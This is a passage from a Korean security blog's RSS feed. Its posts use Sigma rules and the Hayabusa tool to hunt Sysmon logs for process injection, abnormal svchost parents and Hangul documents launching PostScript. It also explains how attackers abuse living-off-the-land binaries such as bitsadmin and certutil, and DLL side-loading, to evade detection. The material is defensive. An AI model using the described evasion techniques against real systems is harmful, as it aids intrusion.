this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1177&quot; height=&quot;203&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1177&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[분석결과]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 93px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 19.4187%; text-align: center; height: 21px;&quot;&gt;단말&lt;/td&gt;
&lt;td style=&quot;width: 21.8604%; text-align: center; height: 21px;&quot;&gt;날짜&lt;/td&gt;
&lt;td style=&quot;width: 9.65114%; text-align: center; height: 21px;&quot;&gt;시간&lt;/td&gt;
&lt;td style=&quot;width: 49.0699%; text-align: center; height: 21px;&quot;&gt;이벤트 내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 19.4187%; height: 38px;&quot; rowspan=&quot;2&quot;&gt;DESKTOP-9SCSJHC&lt;/td&gt;
&lt;td style=&quot;width: 21.8604%; height: 21px;&quot;&gt;2021.11.08 ~ 2022.06.17&lt;/td&gt;
&lt;td style=&quot;width: 9.65114%; height: 21px;&quot;&gt;다수 발생&lt;/td&gt;
&lt;td style=&quot;width: 49.0699%; height: 21px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; C:\Program Files\VMware\VMware Tools\VMwareResolutionSet.exe -&amp;gt; C:\Windows\System32\csrss.exe &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.8604%; height: 17px;&quot;&gt;2021.11.10&lt;/td&gt;
&lt;td style=&quot;width: 9.65114%; height: 17px;&quot;&gt;17:32:15&lt;/td&gt;
&lt;td style=&quot;width: 49.0699%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &quot;SYSTEM&quot; IL, C:\Users\user03\AppData\Local\Temp\conhost.exe(5808) -&amp;gt; C:\Windows\System32\winlogon.exe(668) &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 19.4187%; height: 17px;&quot;&gt;IEWIN7&lt;/td&gt;
&lt;td style=&quot;width: 21.8604%; height: 17px;&quot;&gt;2020.09.28&lt;/td&gt;
&lt;td style=&quot;width: 9.65114%; height: 17px;&quot;&gt;21:47:36&lt;/td&gt;
&lt;td style=&quot;width: 49.0699%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &quot;SYSTEM&quot; IL, C:\Windows\System32\rdrleakdiag.exe(3352) -&amp;gt; C:\Windows\System32\/sass.exe(668)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 19.4187%; height: 17px;&quot;&gt;DESKTOP-PIU87N6&lt;/td&gt;
&lt;td style=&quot;width: 21.8604%; height: 17px;&quot;&gt;2019.05.26&lt;/td&gt;
&lt;td style=&quot;width: 9.65114%; height: 17px;&quot;&gt;13:01:43&lt;/td&gt;
&lt;td style=&quot;width: 49.0699%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &quot;SYSTEM&quot; IL, C:\Users\IEUser\Desktop\info.rar\jjs.exe -&amp;gt; C:\Windows\System32\svchost.exe(3908)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;DESKTOP-9SCSJHC&quot; 시스템의 &quot;conhost.exe&quot; 프로세스는 시스템 프로세스랑 이름은 동일하나 경로가 잘못 되어있고, 인젝션 대상 프로세스가 &quot;winlogon.exe&quot; 인것으로 보아 키로깅 목적으로 추정&lt;/li&gt;
&lt;li&gt;&quot;DESKTOP-PIU87N6&quot; 시스템의 &quot;rdrleakdiag.exe&quot; 프로세스는 리소스 누수 진단 도구로 프로세스 메모리 덤프 기능을 이용하여 &quot;lsass.exe&quot; 메모리를 덤프 한다는것은 사용자의 자격증명(계정 및 패스워드 등)을 탈취 가능성 있음&lt;/li&gt;
&lt;li&gt;&quot; IEWIN7&quot; 시스템의 &quot;jjs.exe&quot; 파일은 정상 실행 파일이 아니며, 바탕화면에서 실행 됨에도 불구하고 &quot;system&quot; 권한으로 실행되었음, 정상 프로그램인 &quot;svchost.exe&quot; 내에 악성코드 인젝션 가능성 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/183</guid>
      <comments>https://no-brake.tistory.com/183#entry183comment</comments>
      <pubDate>Wed, 27 May 2026 13:36:55 +0900</pubDate>
    </item>
    <item>
      <title>프로세스 리니지 이상 이벤트 식별(서비스 호스팅)</title>
      <link>https://no-brake.tistory.com/182</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[비정상 서비스 호스트 프로셋세스 탐지 시그마 룰]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;335&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R7rOG/dJMcaiQ2ZCW/58McsbgYmVtv2ZuEzd71i1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R7rOG/dJMcaiQ2ZCW/58McsbgYmVtv2ZuEzd71i1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R7rOG/dJMcaiQ2ZCW/58McsbgYmVtv2ZuEzd71i1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR7rOG%2FdJMcaiQ2ZCW%2F58McsbgYmVtv2ZuEzd71i1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;789&quot; height=&quot;335&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;335&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;process_create_svchost
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;EventID : 1 - 프로세스 생성 이벤트&lt;/li&gt;
&lt;li&gt;Image : 해당 프로세스 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;svchost_with_no_commandline : 파라미터 없이 'svchost.exe'로 끝&lt;/li&gt;
&lt;li&gt;regular_parent_filter : 부모 프로세스가 '..\services.exe'&lt;/li&gt;
&lt;li&gt;조건 : process_create_svchost에 해당 프로세스가 생성되었고, 파라미터 없이 'svchost.exe'로 끝나거나 부모 프로세스가&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;'..\services.exe' 아닌 것&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[HAYABUSA 툴 이용해 SYSMON 로그파일 조사]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1779846337863&quot; class=&quot;lisp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;(현재 디렉토리 위치)&amp;gt; (HAYABUSA 툴 경로) csv-timeline -r (룰 디렉토리 위치) -d (sysmon 로그 디렉토리 위치) -C -o (저장할 결과파일명)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;csv-timeline : CSV 형식의 시간순으로 정렬&lt;/li&gt;
&lt;li&gt;-C -o (저장할 결과파일명) : 이미 저장할 결과 파일 존재시 덮어쓰기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[실행 결과]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;590&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MFtgV/dJMcaffIQET/x23EEQlAeGcqz2T1bgMDV1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MFtgV/dJMcaffIQET/x23EEQlAeGcqz2T1bgMDV1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MFtgV/dJMcaffIQET/x23EEQlAeGcqz2T1bgMDV1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMFtgV%2FdJMcaffIQET%2Fx23EEQlAeGcqz2T1bgMDV1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;590&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;총 9,617개 이벤트 로그 중, 작성한 시그마룰 기준 총 5개의 이벤트 탐지&lt;/li&gt;
&lt;li&gt;DESKTOP-9SCSJHC, IEWIN7&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;단말&lt;span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;대 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Timeline Explorer 툴로 결과 파일 확인]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1242&quot; data-origin-height=&quot;226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/syzWo/dJMcaaSZnMQ/kHqF48vOa2lsWqGcgOQvM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/syzWo/dJMcaaSZnMQ/kHqF48vOa2lsWqGcgOQvM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/syzWo/dJMcaaSZnMQ/kHqF48vOa2lsWqGcgOQvM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsyzWo%2FdJMcaaSZnMQ%2FkHqF48vOa2lsWqGcgOQvM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1242&quot; height=&quot;226&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1242&quot; data-origin-height=&quot;226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[분석결과]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.95343%; text-align: center;&quot;&gt;단말&lt;/td&gt;
&lt;td style=&quot;width: 11.6279%; text-align: center;&quot;&gt;날짜&lt;/td&gt;
&lt;td style=&quot;width: 10.9302%; text-align: center;&quot;&gt;시간&lt;/td&gt;
&lt;td style=&quot;width: 68.4884%; text-align: center;&quot;&gt;이벤트 내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.95343%; text-align: center;&quot; rowspan=&quot;3&quot;&gt;IEWIN7&lt;/td&gt;
&lt;td style=&quot;width: 11.6279%; text-align: center;&quot;&gt;2019.05.26&lt;/td&gt;
&lt;td style=&quot;width: 10.9302%; text-align: center;&quot;&gt;13:01:43&lt;/td&gt;
&lt;td style=&quot;width: 68.4884%;&quot;&gt;(jjs.exe-&amp;gt;svchost.exe) C:\Users\IEUser\Desktop\info.rar\jjs.exe, PPID: 3883 &lt;br /&gt;- 서버호스트(svchost.exe) 프로세스의 부모가 &quot;services.exe&quot;가 아닌 건&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.6279%; text-align: center;&quot;&gt;2021.08.19&lt;/td&gt;
&lt;td style=&quot;width: 10.9302%; text-align: center;&quot;&gt;01:36:43&lt;/td&gt;
&lt;td style=&quot;width: 68.4884%;&quot;&gt;(DHL_Tracking-&amp;gt;svchost.exe) C:\Users\ieuser\Documents\dhl_tracking.exe, PPID:1608, IL:HIGH &lt;br /&gt;- 기본적으로 M&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: start;&quot;&gt;edium&lt;/span&gt; 권한이어야 하지만 HIGH 권한으로 확인되어 공격자가 이미 관리자 수준 이상의 권한 획득한 것으로 예상됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.6279%; text-align: center;&quot;&gt;2021.08.19&lt;/td&gt;
&lt;td style=&quot;width: 10.9302%; text-align: center;&quot;&gt;01:45:20&lt;/td&gt;
&lt;td style=&quot;width: 68.4884%;&quot;&gt;(mssrv32.exe-&amp;gt;svchost.exe) C:\Windows\System32\mssrv32.exe, PPID: 1620, IL:SYSTEM &lt;br /&gt;- 기본적으로 M&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: start;&quot;&gt;edium&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;권한이어야 하지만 HIGH 권한으로 확인되어 공격자가 이미 관리자 수준 이상의 권한 획득한 것으로 예상됨&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/182</guid>
      <comments>https://no-brake.tistory.com/182#entry182comment</comments>
      <pubDate>Wed, 27 May 2026 10:53:56 +0900</pubDate>
    </item>
    <item>
      <title>한컴 오피스 문서 포스트스크립트 실행 이벤트 탐지</title>
      <link>https://no-brake.tistory.com/181</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[시그마 룰 설명]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;611&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pl1xD/dJMcadhSwUe/zU1KRykEsS1Elv7lets7Nk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pl1xD/dJMcadhSwUe/zU1KRykEsS1Elv7lets7Nk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pl1xD/dJMcadhSwUe/zU1KRykEsS1Elv7lets7Nk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPl1xD%2FdJMcadhSwUe%2FzU1KRykEsS1Elv7lets7Nk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;611&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;611&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;title : 시그마룰 명&lt;/li&gt;
&lt;li&gt;EventID : 1 - 프로세스 생성&lt;/li&gt;
&lt;li&gt;hwp.exe 부모 프로세스&lt;/li&gt;
&lt;li&gt;포스트스크립트('gswin32c.exe', 'gswin32.exe', 'gswin64c.exe', 'gswin64.exe', 'gbb.exe') 자식 프로세스&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[HAYABUSA 툴 이용해 SYSMON 로그파일 조사]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1779842900746&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(현재 디렉토리 위치)&amp;gt; (HAYABUSA 툴 경로) csv-timeline -r (룰 디렉토리 위치) -d (sysmon 로그 디렉토리 위치) -C -o (저장할 결과파일명)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;csv-timeline : CSV 형식의 시간순으로 정렬&lt;/li&gt;
&lt;li&gt;-C -o (저장할 결과파일명) : 이미 저장할 결과 파일 존재시 덮어쓰기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[실행 결과]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bV7KLc/dJMcafmtxKf/O7qNzayHkZck9ko3rRjs0K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bV7KLc/dJMcafmtxKf/O7qNzayHkZck9ko3rRjs0K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bV7KLc/dJMcafmtxKf/O7qNzayHkZck9ko3rRjs0K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbV7KLc%2FdJMcafmtxKf%2FO7qNzayHkZck9ko3rRjs0K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;577&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;총 9,617개 이벤트 로그 중, 작성한 시그마룰 기준 2개의 이벤트 탐지&lt;/li&gt;
&lt;li&gt;DESKTOP-9SCSJHC &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;단말&lt;span&gt; &lt;/span&gt;&lt;/span&gt;1대 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Timeline Explorer 툴로 결과 파일 확인 및 &lt;b&gt;분석결과&lt;/b&gt; ]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 18.8372%; text-align: center;&quot;&gt;단말&lt;/td&gt;
&lt;td style=&quot;width: 12.6744%; text-align: center;&quot;&gt;날짜&lt;/td&gt;
&lt;td style=&quot;width: 18.0234%; text-align: center;&quot;&gt;시간&lt;/td&gt;
&lt;td style=&quot;width: 50.4651%; text-align: center;&quot;&gt;이벤트 내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 18.8372%; text-align: center;&quot;&gt;DESKTOP-9SCSJHC&lt;/td&gt;
&lt;td style=&quot;width: 12.6744%; text-align: center;&quot;&gt;2021.11.10&lt;/td&gt;
&lt;td style=&quot;width: 18.0234%; text-align: center;&quot;&gt;15:36:46 ~ 15:36:48&lt;/td&gt;
&lt;td style=&quot;width: 50.4651%;&quot;&gt;- C:\Users/user03\Downloads&amp;nbsp;[개발팀]&amp;nbsp;채용요청서.hwp&quot;&amp;nbsp;파일을&amp;nbsp;열람&lt;br /&gt;- 포스트스크립트가&amp;nbsp;포함되어&amp;nbsp;있음&lt;br /&gt;- gbb.exe 프로그램이 파일내에 있는 포스트스크립트 파일을 %TEMP% 폴더 이하로 이동&lt;br /&gt;- 옮겨진&amp;nbsp;포스트스크립트&amp;nbsp;파일은&amp;nbsp;GSWIN32C.EXE&amp;nbsp;프로그램에&amp;nbsp;의해&amp;nbsp;실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/181</guid>
      <comments>https://no-brake.tistory.com/181#entry181comment</comments>
      <pubDate>Wed, 27 May 2026 10:00:10 +0900</pubDate>
    </item>
    <item>
      <title>LOL 바이너리</title>
      <link>https://no-brake.tistory.com/180</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[개념]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이미 시스템에 설치되어 있어 별도 수정하는 과정 없이 공격에 바로 사용 가능한 기능을 가진 정상적인 실행 파일&lt;/li&gt;
&lt;li&gt;해당 파일은 정상적이며 코드 서명이 되어 있는 신뢰할 수 있는 바이너리이다.&lt;/li&gt;
&lt;li&gt;Proxy/indirect execution, 파일 다운로드/업로드, UAC 우회등 악용 됨&lt;/li&gt;
&lt;li&gt;공격자는 탐지, 차단 메커니즘 우회하는데&amp;nbsp; 유리함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[bitsamin.exe]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E98VQ/dJMcafzZO6I/6Oee7FBx4eQSP1boV6ER11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E98VQ/dJMcafzZO6I/6Oee7FBx4eQSP1boV6ER11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E98VQ/dJMcafzZO6I/6Oee7FBx4eQSP1boV6ER11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE98VQ%2FdJMcafzZO6I%2F6Oee7FBx4eQSP1boV6ER11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;158&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;백그라운드에서 안정적으로 파일 전송하는 기능&lt;/li&gt;
&lt;li&gt;업데이트 및 시스템 내부 작업에서 사용 됨&lt;/li&gt;
&lt;li&gt;일반적으로 외부에서 악성코드가 내부로 다운로드시 보안 솔루션은 브라우저나 알려진 악성 다운로드 도구를 우선적으로 의심&lt;/li&gt;
&lt;li&gt;공격자는 백그라운드 전송 서비스 기능이 있는 해당 LOL 바이너리를 사용&lt;/li&gt;
&lt;li&gt;별도의 악성 다운로드 도구 나 웹 브라우저 사용 없이 정상 시스템 도구만으로 진행 됨&lt;/li&gt;
&lt;li&gt;브라우저 기반 보안 정책이나 일부 네트워크 탐지 우회로 행위 기반 탐지 적발이 되지 않을 가능성이 높음&lt;/li&gt;
&lt;li&gt;다운로드 뿐만 아니라 복사, 실행을 위한 사전 단계에서도 자주 악용 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[DLL side loading를 이용한 로드 순서 악용&lt;/b&gt;]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chxnsm/dJMcaciUguY/m0XfoRIiULknb0J2mKSON1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chxnsm/dJMcaciUguY/m0XfoRIiULknb0J2mKSON1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chxnsm/dJMcaciUguY/m0XfoRIiULknb0J2mKSON1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fchxnsm%2FdJMcaciUguY%2Fm0XfoRIiULknb0J2mKSON1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;143&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정상 실행 파일을 그대로 사용하면서, 실행 파일을 참조하는 DLL 이름과 같은 악성 DLL을 특정 경로에 배치&lt;/li&gt;
&lt;li&gt;정상 파일 실행 시 의도치 않은 악성 DLL 함께 로드 함.&lt;/li&gt;
&lt;li&gt;겉으로는 정상적으로 실행된것 처럼 보이나 악성 코드가 함께 실행되는 구조&lt;/li&gt;
&lt;li&gt;공격자는 새로운 실행 파일 생성 없이 기존 신뢰 받은 실행 파일을 그대로 사용하기 때문에 탐지와 분석이 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[certutil.exe]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/H5bwd/dJMcaipWcvn/394PLYWxMY1694oP2LPWa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/H5bwd/dJMcaipWcvn/394PLYWxMY1694oP2LPWa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/H5bwd/dJMcaipWcvn/394PLYWxMY1694oP2LPWa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FH5bwd%2FdJMcaipWcvn%2F394PLYWxMY1694oP2LPWa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 